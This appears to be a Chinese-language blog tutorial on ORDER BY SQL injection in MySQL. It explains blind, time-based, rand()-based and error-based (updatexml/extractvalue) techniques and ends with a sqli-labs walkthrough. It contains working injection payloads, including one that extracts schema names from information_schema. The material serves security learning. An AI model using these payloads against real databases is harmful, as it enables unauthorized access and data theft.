Order by注入
一.先了解一下order by?
order by 是mysql 中对查询数据排序的方法,例如
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
1.order by 结合union来盲注
payload: username=admin' union 1,2,'字符串' order by 3
我这里是对password进行的比较,就是将字符串和密码比较
order by 3是根据第三列进行排序,如果union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,
那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,
那么正确的数据就会是第一列,那么页面就会返回password error!.
注意的是最好加上binary,因为order by比较的时候不区分大小写
2.基于if()的盲注
需要知道列名:
order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。
payload: order by if(1=1,id,username);
不需要知道列名:
payload: order by if(表达式,1,(select id from information_schema.tables))
如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。
3.基于时间的盲注
payload: order by if(1=1,1,sleep(1))
测试结果:
这里是在等待延时
然后查询成功
测试的时候发现延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 最后发现延迟的时间和所查询的数据的条数是成倍数关系的。 计算公式:
延迟时间=sleep(1)的秒数*所查询数据条数
如果查询的数据很多时,延迟的时间就会很长了。 在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
4.基于rand()的盲注
rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,
种子固定,则生成的数固定
order by rand
:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同
可以看到当rang()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了。 例
payload: order by rand(ascii(mid((select database()),1,1))>96)
5.报错注入
updatexml
select * from users order by updatexml(1,if(1=1,1,user()),1);#查询正常
select * from users order by updatexml(1,if(1=2,1,user()),1);#查询报错
extractvalue
select * from users order by extractvalue(1,if(1=1,1,user()));#查询正常
select * from users order by extractvalue(1,if(1=2,1,user()));#查询报错
二.练习一下
sqllabs的order by 注入
如何判断是否存在order by之后的注入?
在参数后面加个asc、desc来看顺序是否改变就行了。顺序改变了,所以存在注入。
首先判断一下order by 后面接的参数会不会产生影响
用 left(version(),1) 和 right(version(),1) 尝试一下
left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
left(str,length);
left()函数接受两个参数:
str是要提取子字符串的字符串。
length是一个正整数,指定将从左边返回的字符数。
right和left一样
显然没有产生影响
所以我们尝试注入:
我们发现回显的信息是有限制的。也就是说我们在查询其他信息的时候可能查询不到
换一种方式,试试
有些信息是不能查到的,显示的信息有限。所以在这里我们需要应用盲注,比如报错注入、延时注入、等等。
找关键数据库,由于回显示的信息不能太多所以我们只能运用limit
?sort=(extractvalue(1,concat(0x3a,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),0x3a)))%20--+
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App